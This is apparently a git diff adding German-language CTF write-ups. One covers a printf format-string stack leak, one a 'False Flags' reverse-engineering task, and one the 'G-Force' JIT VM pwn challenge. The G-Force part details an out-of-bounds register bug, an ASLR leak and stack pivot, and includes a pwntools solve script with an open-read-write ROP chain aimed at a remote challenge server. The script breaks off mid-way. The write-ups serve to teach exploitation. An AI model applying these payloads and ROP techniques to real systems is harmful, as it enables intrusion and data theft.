||||
// 3. SCHWACHSTELLE: Unsere Eingabe wird direkt an printf übergeben!
|
||||
printf(acStack_a0);
|
||||
putchar(10);
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
Siehst du die Zeile `printf(acStack_a0);`? Das ist unser "goldenes Ticket".
|
||||
|
||||
## 3. Die Schwachstelle: Format-Strings
|
||||
|
||||
In C erwartet `printf`, dass sein erstes Argument ein **Format-String** ist (wie `"%s"` oder `"Hallo %s"`). Wenn ein Entwickler die Benutzereingabe direkt an `printf` übergibt, kann der Benutzer seine eigenen Format-Spezifizierer angeben.
|
||||
|
||||
Wenn `printf` einen Spezifizierer wie `%p` (Pointer drucken) oder `%x` (Hexadezimalwert drucken) sieht, sucht es nach dem nächsten Argument auf dem **Stack**. Wenn wir keine Argumente angeben, beginnt `printf` einfach damit, alles auszugeben, was sich bereits auf dem Stack befindet!
|
||||
|
||||
### Wo ist das Flag?
|
||||
Wenn wir uns die Ghidra-Ausgabe ansehen, bemerken wir, dass sowohl `acStack_a0` (unsere Eingabe) als auch `local_60` (das Flag) **lokale Variablen** sind. Das bedeutet, dass beide direkt nebeneinander auf dem Stack gespeichert sind.
|
||||
|
||||
## 4. Ausnutzen des "Echos"
|
||||
|
||||
Wenn wir eine Kette von Format-Spezifizierern wie `%p %p %p %p %p %p...` senden, können wir `printf` dazu bringen, den Inhalt des Stacks auszugeben. Da das Flag auf dem Stack liegt, wird es schließlich mit ausgedruckt!
|
||||
|
||||
Versuche dies als Eingabe:
|
||||
`%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p`
|
||||
|
||||
Das Programm wird mit einer Reihe von Hexadezimal-Adressen antworten. Einige dieser Werte sind tatsächlich die ASCII-Zeichen unseres Flags.
|
||||
|
||||
### Little Endianness
|
||||
Wenn du die Hex-Werte siehst, denke daran, dass moderne Systeme die **Little Endian**-Byte-Reihenfolge verwenden. Das bedeutet, dass die Bytes in umgekehrter Reihenfolge gespeichert werden.
|
||||
|
||||
Wenn du zum Beispiel `0x7b67616c66` siehst und diese Bytes von Hexadezimal in ASCII umwandelst:
|
||||
- `66` = `f`
|
||||
- `6c` = `l`
|
||||
- `61` = `a`
|
||||
- `67` = `g`
|
||||
- `7b` = `{`
|
||||
|
||||
Der Wert `0x7b67616c66` repräsentiert also `flag{` in umgekehrter Reihenfolge!
|
||||
|
||||
## 5. Alles zusammenfügen
|
||||
|
||||
Um die Challenge zu lösen:
|
||||
1. Verbinde dich mit dem Dienst.
|
||||
2. Sende viele `%p`-Spezifizierer, um den Stack auszulesen (Leak).
|
||||
3. Identifiziere die Hex-Werte, die wie lesbarer Text aussehen (beginnend mit `0x...` und ASCII-Werte enthaltend).
|
||||
4. Kehre die Bytes um (Endianness) und wandle sie in Zeichen um.
|
||||
5. Kombiniere die Teile, um das Flag zu finden!
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
Selbst wenn ein Programm "nur Text druckt", ist es nicht sicher, wenn es `printf` falsch verwendet. Die Lösung ist einfach: Verwende immer `printf("%s", buffer);`. Dies stellt sicher, dass die Eingabe als reine Zeichenkette behandelt wird und nicht als Code oder Anweisungen für die Funktion.
|
||||
|
||||
Viel Erfolg beim Hacken!
|
||||
115
de/false_flags.md
Normal file
115
de/false_flags.md
Normal file
@@ -0,0 +1,115 @@
|
||||
# False Flags
|
||||
|
||||
`falseFlags` ist eine einsteigerfreundliche Reverse-Engineering-Challenge. Wir erhalten eine Binärdatei, die mehrere "falsche" Flaggen enthält, und unser Ziel ist es, die richtige zu identifizieren.
|
||||
|
||||
## 1. Erste Analyse
|
||||
|
||||
Wir beginnen mit der Untersuchung des Dateityps und der grundlegenden Eigenschaften.
|
||||
|
||||
```bash
|
||||
$ file false_flags
|
||||
false_flags: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
|
||||
```
|
||||
|
||||
Es ist eine Standard-64-Bit-ELF-ausführbare Datei. Versuchen wir, sie auszuführen. Die Challenge ist auch remote verfügbar unter `<SERVER_IP>:1301`.
|
||||
|
||||
```bash
|
||||
$ nc <SERVER_IP> 1301
|
||||
=== The Vault of Falsehoods ===
|
||||
There are many keys, but only one opens the door.
|
||||
Enter the password: test
|
||||
[-] Wrong! That was merely a decoy.
|
||||
```
|
||||
|
||||
Da die Beschreibung "versteckte Passwörter in der Binärdatei" erwähnt, ist der `strings`-Befehl ein guter erster Schritt, um zu sehen, was drin ist.
|
||||
|
||||
```bash
|
||||
$ strings false_flags | grep flag
|
||||
{flag:This_Is_Definitely_Not_It}
|
||||
{flag:Try_Harder_To_Find_The_Key}
|
||||
{flag:Strings_Are_Misleading_You}
|
||||
...
|
||||
{flag:Reverse_Engineering_Is_Cool}
|
||||
...
|
||||
```
|
||||
|
||||
Wir sehen eine lange Liste potenzieller Flaggen. Wir könnten sie eine nach der anderen ausprobieren, aber das ist mühsam (und "Brute-Force" ist nicht der elegante Weg!). Wir müssen herausfinden, mit *welchem* spezifischen String das Programm unsere Eingabe vergleicht.
|
||||
|
||||
## 2. Statische Analyse
|
||||
|
||||
Wir können die Binärdatei mit `objdump` analysieren, um uns den Assembler-Code anzusehen. Da die Binärdatei "stripped" ist, sehen wir keine Funktionsnamen wie `main`. Wir können jedoch den Einsprungpunkt finden.
|
||||
|
||||
```bash
|
||||
$ readelf -h false_flags | grep "Entry point"
|
||||
Entry point address: 0x4019f0
|
||||
```
|
||||
|
||||
Der Einsprungpunkt ist bei `0x4019f0`. Wenn wir an dieser Adresse disassemblieren, sehen wir den Startcode (`_start`), der `__libc_start_main` aufruft. Das erste Argument für `__libc_start_main` ist die Adresse von `main`.
|
||||
|
||||
```bash
|
||||
$ objdump -d -M intel --start-address=0x4019f0 --stop-address=0x401a20 false_flags
|
||||
|
||||
00000000004019f0 <.text+0x830>:
|
||||
...
|
||||
401a08: 48 c7 c7 52 1b 40 00 mov rdi,0x401b52 <-- Adresse von main
|
||||
401a0f: 67 e8 5b 15 00 00 addr32 call 0x402f70 <-- Aufruf von __libc_start_main
|
||||
...
|
||||
```
|
||||
|
||||
Also befindet sich `main` bei `0x401b52`. Disassemblieren wir sie.
|
||||
|
||||
```bash
|
||||
$ objdump -d -M intel --start-address=0x401b52 --stop-address=0x401c50 false_flags
|
||||
```
|
||||
|
||||
In der Ausgabe sehen wir früh in der Funktion einen Aufruf:
|
||||
|
||||
```assembly
|
||||
401ba0: e8 70 ff ff ff call 0x401b15
|
||||
401ba5: 89 85 6c ff ff ff mov DWORD PTR [rbp-0x94],eax
|
||||
```
|
||||
|
||||
Der Rückgabewert (in `eax`) wird in `[rbp-0x94]` gespeichert. Diese Variable wird später verwendet, um auf ein Array zuzugreifen. Schauen wir uns an, was `0x401b15` tut.
|
||||
|
||||
```bash
|
||||
$ objdump -d -M intel --start-address=0x401b15 --stop-address=0x401b52 false_flags
|
||||
|
||||
0000000000401b15 <.text+0x955>:
|
||||
...
|
||||
401b4b: b8 0c 00 00 00 mov eax,0xc
|
||||
401b50: 5d pop rbp
|
||||
401b51: c3 ret
|
||||
```
|
||||
|
||||
Trotz einiger Schleifenlogik davor gibt die Funktion letztendlich `0xc` (dezimal 12) zurück. Dieser Index wird verwendet, um die richtige Flagge aus dem Array von Strings auszuwählen, die wir früher gesehen haben.
|
||||
|
||||
## 3. Die Lösung
|
||||
|
||||
Jetzt müssen wir einfach den String am Index 12 (beginnend bei 0) in der Liste finden, die wir früher gefunden haben.
|
||||
|
||||
0. {flag:This_Is_Definitely_Not_It}
|
||||
1. {flag:Try_Harder_To_Find_The_Key}
|
||||
2. {flag:Strings_Are_Misleading_You}
|
||||
...
|
||||
10. {flag:Do_Not_Trust_Simple_Strings}
|
||||
11. {flag:Index_Twelve_Is_Not_Real_11}
|
||||
12. {flag:Reverse_Engineering_Is_Cool}
|
||||
|
||||
Der String bei Index 12 ist:
|
||||
`{flag:Reverse_Engineering_Is_Cool}`
|
||||
|
||||
Überprüfen wir dies, indem wir uns mit dem Remote-Server verbinden:
|
||||
|
||||
```bash
|
||||
$ nc <SERVER_IP> 1301
|
||||
=== The Vault of Falsehoods ===
|
||||
There are many keys, but only one opens the door.
|
||||
Enter the password: {flag:Reverse_Engineering_Is_Cool}
|
||||
|
||||
[+] Correct! Access Granted.
|
||||
[*] The flag is indeed: {flag:Reverse_Engineering_Is_Cool}
|
||||
```
|
||||
|
||||
## Fazit
|
||||
|
||||
Diese Challenge zeigt, dass `strings` zwar interessante Daten offenbaren kann, das Verständnis der *Logik* (Kontrollfluss) des Programms jedoch oft notwendig ist, um nützliche Daten von Täuschungen zu unterscheiden.
|
||||
457
de/g_force.md
Normal file
457
de/g_force.md
Normal file
@@ -0,0 +1,457 @@
|
||||
# Write-up: G-Force
|
||||
|
||||
**Kategorie:** Pwn
|
||||
**Schwierigkeitsgrad:** Schwer
|
||||
**Beschreibung:** Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung.
|
||||
|
||||
In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat.
|
||||
|
||||
---
|
||||
|
||||
## 1. Initiale Analyse
|
||||
|
||||
Wir beginnen mit der Untersuchung des bereitgestellten Binaries `g_forcevm`.
|
||||
|
||||
```bash
|
||||
$ file g_forcevm
|
||||
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
|
||||
```
|
||||
|
||||
Es ist eine **Static PIE** Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem **stripped**, wir haben also keine Funktionsnamen.
|
||||
|
||||
Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt:
|
||||
|
||||
```text
|
||||
--- G-FORCE VM v2.0 (Final) ---
|
||||
4KB Secure Sandbox. Type 'help' for instructions.
|
||||
> help
|
||||
|
||||
--- G-Force Instruction Set ---
|
||||
General:
|
||||
MOVI R, IMM : Load immediate value into Register R
|
||||
MOVR R1, R2 : Copy value from R2 to R1
|
||||
...
|
||||
Meta Commands:
|
||||
execute : Compile and run the current program buffer
|
||||
info : Dump current CPU state
|
||||
ram OFF LEN : Hex dump of RAM at offset
|
||||
debug : Run debug logger
|
||||
...
|
||||
```
|
||||
|
||||
## 2. Reverse Engineering
|
||||
|
||||
Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet.
|
||||
|
||||
### Die VM-Struktur & das Stack-Layout
|
||||
Bei der Analyse der `main`-Funktion (dekompiliert an Adresse `0x0010ba79`) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden.
|
||||
|
||||
```c
|
||||
undefined8 FUN_0010ba79(void)
|
||||
{
|
||||
// ...
|
||||
undefined1 local_20d8 [40];
|
||||
undefined8 local_20b0;
|
||||
undefined8 local_20a8;
|
||||
code *local_20a0;
|
||||
undefined1 local_2098 [8192];
|
||||
// ...
|
||||
|
||||
// Initialisierung
|
||||
thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
|
||||
|
||||
// RAM-Allokation
|
||||
// FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper).
|
||||
// 0x1000 = 4096 Bytes (4KB)
|
||||
local_20a8 = FUN_0012ac00(0x1000);
|
||||
|
||||
// Initialisierung des Debug-Funktionszeigers
|
||||
local_20a0 = FUN_00109a22;
|
||||
|
||||
// Hauptschleife
|
||||
while( true ) {
|
||||
// ... Befehls-Parsing ...
|
||||
iVar2 = thunk_FUN_0012d150(uVar4,"debug");
|
||||
if (iVar2 == 0) {
|
||||
// VERWUNDBARER AUFRUF
|
||||
(*local_20a0)(local_20a8);
|
||||
}
|
||||
else {
|
||||
iVar2 = thunk_FUN_0012d150(uVar4,"execute");
|
||||
if (iVar2 == 0) {
|
||||
FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
|
||||
FUN_0010a2b8(local_20d8,local_2098,local_20f8);
|
||||
// ...
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Wir sehen, dass `local_20d8` ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP).
|
||||
Wir sehen, dass `local_20a0` ein Funktionszeiger ist, der auf `0x00109a22` (den Standard-Logger) initialisiert wird.
|
||||
Betrachten wir das Speicher-Layout auf dem Stack genauer:
|
||||
* `local_20d8` (Register) beginnt am Offset `-0x20d8`.
|
||||
* `local_20a8` (RAM-Zeiger) beginnt am Offset `-0x20a8`.
|
||||
* `local_20a0` (Func Ptr) beginnt am Offset `-0x20a0`.
|
||||
|
||||
Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt `0x20d8 - 0x20a8 = 0x30`, was **48 Bytes** entspricht.
|
||||
Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt `0x20d8 - 0x20a0 = 0x38`, was **56 Bytes** entspricht.
|
||||
|
||||
### Bestätigung des Layouts über `info`
|
||||
Um zu bestätigen, dass `local_20d8` tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den `info`-Befehl verantwortlich ist (in Ghidra als `FUN_00109cbe` bezeichnet).
|
||||
|
||||
```c
|
||||
void FUN_00109cbe(undefined8 *param_1)
|
||||
{
|
||||
FUN_0011d2b0("\n--- CPU STATE ---");
|
||||
FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
|
||||
FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
|
||||
FUN_00115f80("SP : 0x%016lx\n",param_1[5]);
|
||||
FUN_0011d2b0("-----------------");
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
Diese Funktion nimmt einen Zeiger auf `local_20d8` als Argument entgegen.
|
||||
* `param_1[0]` entspricht **Register A** (Offset 0).
|
||||
* `param_1[1]` entspricht **Register B** (Offset 8).
|
||||
* `param_1[2]` entspricht **Register C** (Offset 16).
|
||||
* `param_1[3]` entspricht **Register D** (Offset 24).
|
||||
* `param_1[5]` entspricht **SP** (Offset 40).
|
||||
|
||||
Die Tatsache, dass `info` diese Werte direkt aus dem Array `local_20d8` druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert.
|
||||
|
||||
### Rekonstruktion der CPU-Struktur
|
||||
Basierend auf dem Speicher-Layout und der `info`-Funktion können wir die interne `CPU`-Struktur der VM auf dem Stack rekonstruieren:
|
||||
|
||||
```c
|
||||
struct CPU_Stack_Layout {
|
||||
uint64_t regs[4]; // Offset 0x00: Register A, B, C, D
|
||||
uint64_t PC; // Offset 0x20: Program Counter / reserviert
|
||||
uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40)
|
||||
uint8_t *ram; // Offset 0x30: Zeiger auf VM-RAM (Offset 48)
|
||||
void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56)
|
||||
};
|
||||
```
|
||||
|
||||
Dies passt perfekt zu unserem rekonstruierten Layout!
|
||||
|
||||
### Die Schwachstelle: Out-of-Bounds Registerzugriff
|
||||
Der Befehls-Parser wandelt Registernamen in Indizes um.
|
||||
- `a` -> 0
|
||||
- `b` -> 1
|
||||
- `c` -> 2
|
||||
- `d` -> 3
|
||||
|
||||
Jedoch erlaubt die Validierungsfunktion `FUN_001099bf` Buchstaben bis hin zu `h`!
|
||||
|
||||
```c
|
||||
int FUN_001099bf(char *param_1)
|
||||
{
|
||||
// ...
|
||||
if ((*param_1 < 'a') || ('h' < *param_1)) {
|
||||
iVar1 = -1;
|
||||
}
|
||||
else {
|
||||
iVar1 = *param_1 + -0x61;
|
||||
}
|
||||
// ...
|
||||
return iVar1;
|
||||
}
|
||||
```
|
||||
|
||||
Wenn wir Register **`g`** (Index 6) verwenden:
|
||||
`Adresse = local_20d8 + (6 * 8) = local_20d8 + 48` -> Dies greift auf den `ram`-Zeiger zu.
|
||||
|
||||
Wenn wir Register **`h`** (Index 7) verwenden:
|
||||
`Adresse = local_20d8 + (7 * 8) = local_20d8 + 56` -> Dies greift auf den `debug_log`-Funktionszeiger zu!
|
||||
|
||||
Dies gibt uns zwei mächtige Primitive:
|
||||
1. **Arbitrary Read (Leak):** `MOVR a, h` liest den Funktionszeiger in das Register `a`. Wir können ihn uns dann über `info` ansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leakt `MOVR b, g` die Heap-Basis.
|
||||
2. **Control Flow Hijack (Kontrollflussübernahme):** `MOVI h, <ADDR>` ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben.
|
||||
|
||||
### Der "Debug"-Befehl
|
||||
Der `debug`-Befehl ruft die Funktion auf, die in `local_20a0` (Register `h`) gespeichert ist. Er übergibt den RAM-Zeiger (Register `g`) als erstes Argument (`rdi`).
|
||||
|
||||
```c
|
||||
// Pseudo-Code für den debug-Befehl
|
||||
if (cmd == "debug") {
|
||||
// local_20a0 zeigt standardmäßig auf default_logger
|
||||
// Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung.
|
||||
// Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8).
|
||||
(*local_20a0)(local_20a8);
|
||||
}
|
||||
```
|
||||
|
||||
## 3. Ausnutzungsstrategie: Der Schlachtplan
|
||||
|
||||
Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen.
|
||||
|
||||
### Entdeckung der Seccomp-Sandbox
|
||||
Während der Analyse des Binaries stoßen wir auf eine Funktion `FUN_0010b918`, die früh in `main` aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist:
|
||||
|
||||
```c
|
||||
void FUN_0010b918(void)
|
||||
{
|
||||
// ...
|
||||
iVar1 = FUN_001636b0(0x26,1,0,0,0);
|
||||
if (iVar1 != 0) {
|
||||
FUN_001161b0("prctl(NO_NEW_PRIVS)");
|
||||
FUN_00115450(1);
|
||||
}
|
||||
iVar1 = FUN_001636b0(0x16,2,local_68);
|
||||
if (iVar1 != 0) {
|
||||
FUN_001161b0("prctl(SECCOMP)");
|
||||
FUN_00115450(1);
|
||||
}
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Die Funktion `FUN_001636b0` ist ein Wrapper um den `prctl`-Syscall.
|
||||
1. **`prctl(PR_SET_NO_NEW_PRIVS, 1, ...)`**: Dies wird mit `option = 38` (`0x26`) aufgerufen, was `PR_SET_NO_NEW_PRIVS` entspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurch `setuid`/`setgid`-Binaries deaktiviert werden.
|
||||
2. **`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`**: Dies wird mit `option = 22` (`0x16`) aufgerufen, was `PR_SET_SECCOMP` entspricht. Das zweite Argument `2` spezifiziert `SECCOMP_MODE_FILTER`. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf.
|
||||
|
||||
Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von `system("/bin/sh")` oder die Ausführung eines `execve`-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine **Open-Read-Write (ORW)** ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben.
|
||||
|
||||
### Schritt 1: Adressen leaken (ASLR umgehen)
|
||||
Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet.
|
||||
1. **Code-Adresse leaken:** Wir kopieren den Funktionszeiger in das Register `a` (`MOVR a, h`).
|
||||
2. **Heap-Adresse leaken:** Wir kopieren den RAM-Zeiger in das Register `b` (`MOVR b, g`).
|
||||
3. **Den Leak auslesen:** Wir führen diese Befehle aus und verwenden den VM-Befehl `info`, um `Reg A` und `Reg B` auszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (`0x00109a22`) von `Reg A` abziehen, berechnen wir die **Basisadresse** des Binaries.
|
||||
|
||||
### Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren
|
||||
Wir müssen den `syscall` aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet:
|
||||
* `RAX` = System Call Nummer
|
||||
* `RDI` = Argument 1
|
||||
* `RSI` = Argument 2
|
||||
* `RDX` = Argument 3
|
||||
|
||||
Hier ist, wie jeder Befehl in der Kette konstruiert ist:
|
||||
|
||||
#### 1. `open("./flag.txt", 0)`
|
||||
* `pop rdi; ret` -> `ADDR_OF_STRING` (Zeiger auf "flag.txt\0")
|
||||
* `pop rsi; ret` -> `0` (O_RDONLY)
|
||||
* `pop rax; ret` -> `2` (SYS_open)
|
||||
* `syscall; ret`
|
||||
|
||||
#### 2. `read(3, buffer, 0x100)`
|
||||
* `pop rdi; ret` -> `3` (File Descriptor, normalerweise 3, da 0/1/2 Standard sind)
|
||||
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM)
|
||||
* `pop rdx; ret` -> `0x100` (Anzahl zu lesender Bytes)
|
||||
* `pop rax; ret` -> `0` (SYS_read)
|
||||
* `syscall; ret`
|
||||
|
||||
#### 3. `write(1, buffer, 0x100)`
|
||||
* `pop rdi; ret` -> `1` (stdout)
|
||||
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger darauf, wo wir das Flag eingelesen haben)
|
||||
* `pop rdx; ret` -> `0x100` (Anzahl zu schreibender Bytes)
|
||||
* `pop rax; ret` -> `1` (SYS_write)
|
||||
* `syscall; ret`
|
||||
|
||||
**Im RAM platzieren:** Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls `SAVER` in den VM-RAM (beginnend bei Offset 0).
|
||||
|
||||
### Schritt 3: Den Pivot finden
|
||||
Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den `RSP` (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen.
|
||||
1. **Das Pivot-Gadget finden:** Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von `ROPgadget` auf dem Binary offenbart ein perfektes Gadget: `mov rsp, rdi; ret` beim Offset `0x000099b8`.
|
||||
2. **Warum dieses Gadget?** Wenn der `debug`-Befehl aufgerufen wird, ist das erste Argument (`RDI`) ein Zeiger auf den VM-RAM (Register `g`).
|
||||
3. **Der Auslöser (Trigger):** Wenn wir zu diesem Gadget springen, wird es `RDI` (den RAM-Zeiger) in `RSP` kopieren. Das anschließende `ret` popt dann die ersten 8 Bytes unseres RAMs in den `RIP` und startet so die ROP-Chain.
|
||||
|
||||
### Schritt 4: Den Funktionszeiger überschreiben
|
||||
Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten.
|
||||
1. **Ziel Register H:** Das Schreiben in das Register `h` überschreibt den Funktionszeiger `debug_log`.
|
||||
2. **Die Payload:** Wir verwenden `MOVI h, <ADDR_OF_PIVOT>`, um die Standard-Logger-Adresse durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen.
|
||||
|
||||
### Schritt 5: Die Chain auslösen
|
||||
Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers.
|
||||
1. **Der Trigger-Befehl:** Wir tippen `execute`, um unsere Writer-Befehle zu kompilieren, und führen dann `debug` aus.
|
||||
2. **Ausführungsfluss:**
|
||||
* Die `main`-Schleife ruft den Funktionszeiger auf, der in Register `h` steht.
|
||||
* Da wir ihn überschrieben haben, springt er zu `mov rsp, rdi; ret`.
|
||||
* `RDI` enthält den RAM-Zeiger, sodass `RSP` zum RAM-Zeiger wird.
|
||||
* Die CPU führt `ret` aus und popt das erste Gadget aus unserer ROP-Chain im RAM.
|
||||
* Die Kette führt `open`, `read` und `write` aus und gibt das Flag auf unserer Konsole aus!
|
||||
|
||||
## 4. Das Lösungs-Skript
|
||||
|
||||
Hier ist das vollständige Skript `solve.py`. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload.
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
# =============================================================================
|
||||
# KONFIGURATION
|
||||
# =============================================================================
|
||||
OFFSET_DEFAULT_LOG = 0x00109a22
|
||||
HOST = '87.106.77.47'
|
||||
PORT = 1378
|
||||
|
||||
# Kontext setzen (wird noch zum packen/entpacken benötigt)
|
||||
exe = './g_forcevm'
|
||||
elf = ELF(exe, checksec=False)
|
||||
context.binary = elf
|
||||
context.log_level = 'info'
|
||||
|
||||
def start():
|
||||
# [ÄNDERUNG] remote() anstelle von process() verwenden
|
||||
return remote(HOST, PORT)
|
||||
|
||||
p = start()
|
||||
|
||||
def send_cmd(cmd):
|
||||
p.sendline(cmd.encode())
|
||||
|
||||
def wait_prompt():
|
||||
return p.recvuntil(b"> ")
|
||||
|
||||
log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---")
|
||||
wait_prompt()
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# SCHRITT 1: LIVE LEAK
|
||||
# -----------------------------------------------------------------------------
|
||||
log.info("SCHRITT 1: Adressen leaken...")
|
||||
send_cmd("movr a, h")
|
||||
wait_prompt()
|
||||
send_cmd("movr b, g")
|
||||
wait_prompt()
|
||||
send_cmd("saver a, 0")
|
||||
wait_prompt()
|
||||
send_cmd("saver b, 8")
|
||||
wait_prompt()
|
||||
send_cmd("execute")
|
||||
wait_prompt()
|
||||
|
||||
# Leaks auslesen
|
||||
send_cmd("ram 0 16")
|
||||
p.recvuntil(b"0000: ")
|
||||
dump_line = p.recvline().decode().strip().split()
|
||||
wait_prompt()
|
||||
bytes_all = [int(b, 16) for b in dump_line]
|
||||
|
||||
leak_logger = 0
|
||||
for i in range(8):
|
||||
leak_logger += bytes_all[i] << (i*8)
|
||||
|
||||
leak_heap = 0
|
||||
for i in range(8):
|
||||
leak_heap += bytes_all[8+i] << (i*8)
|
||||
|
||||
binary_base = leak_logger - OFFSET_DEFAULT_LOG
|
||||
addr_farm = leak_logger - 0x75
|
||||
|
||||
# Gadgets
|
||||
addr_pop_rdi = addr_farm + 0
|
||||
addr_pop_rsi = addr_farm + 2
|
||||
addr_pop_rdx = addr_farm + 4
|
||||
addr_pop_rax = addr_farm + 6
|
||||
addr_syscall = addr_farm + 8
|
||||
addr_pivot = addr_farm + 11
|
||||
|
||||
log.success(f" Geleakter Logger: {hex(leak_logger)}")
|
||||
log.success(f" Geleakter Heap: {hex(leak_heap)}")
|
||||
log.success(f" Basisadresse: {hex(binary_base)}")
|
||||
log.success(f" Addr Farm: {hex(addr_farm)}")
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# SCHRITT 2: CHAIN KONSTRUIEREN
|
||||
# -----------------------------------------------------------------------------
|
||||
log.info("SCHRITT 2: ROP Chain konstruieren...")
|
||||
|
||||
chain = [
|
||||
# --- OPEN("./flag.txt", 0, 0) ---
|
||||
addr_pop_rdi,
|
||||
leak_heap + 0x200, # Zeiger auf "./flag.txt"
|
||||
addr_pop_rsi,
|
||||
0,
|
||||
addr_pop_rdx,
|
||||
0,
|
||||
addr_pop_rax,
|
||||
2,
|
||||
addr_syscall,
|
||||
|
||||
# --- READ(3, buffer, 100) ---
|
||||
addr_pop_rdi,
|
||||
3,
|
||||
addr_pop_rsi,
|
||||
leak_heap + 0x300, # Zeiger auf Buffer
|
||||
addr_pop_rdx,
|
||||
100,
|
||||
addr_pop_rax,
|
||||
0,
|
||||
addr_syscall,
|
||||
|
||||
# --- WRITE(1, buffer, 64) ---
|
||||
addr_pop_rdi,
|
||||
1,
|
||||
addr_pop_rsi,
|
||||
leak_heap + 0x300,
|
||||
addr_pop_rdx,
|
||||
35,
|
||||
addr_pop_rax,
|
||||
1,
|
||||
addr_syscall,
|
||||
|
||||
# --- EXIT(0) ---
|
||||
addr_pop_rdi,
|
||||
0,
|
||||
addr_pop_rax,
|
||||
60,
|
||||
addr_syscall,
|
||||
]
|
||||
|
||||
# Chain senden
|
||||
i = 0
|
||||
while i < len(chain):
|
||||
send_cmd(f"movi a,{hex(chain[i])}")
|
||||
wait_prompt()
|
||||
send_cmd(f"saver a,{hex(i*8)}")
|
||||
wait_prompt()
|
||||
i = i+1
|
||||
|
||||
# String "./flag.txt" bei Offset 0x200 senden
|
||||
flag_str = b'./flag.txt\0'
|
||||
for i in range(0, len(flag_str), 8):
|
||||
chunk = flag_str[i:i+8].ljust(8, b'\0')
|
||||
val = u64(chunk)
|
||||
send_cmd(f"movi a, {hex(val)}")
|
||||
wait_prompt()
|
||||
send_cmd(f"saver a,{0x200 + i}")
|
||||
wait_prompt()
|
||||
|
||||
# Platzierung der Chain ausführen
|
||||
send_cmd("execute")
|
||||
p.recvuntil(b"> ")
|
||||
send_cmd("ram 0x00 0x30")
|
||||
p.recvuntil(b"> ")
|
||||
log.success(f" ROP Chain platziert")
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# SCHRITT 3: ARM & TRIGGER
|
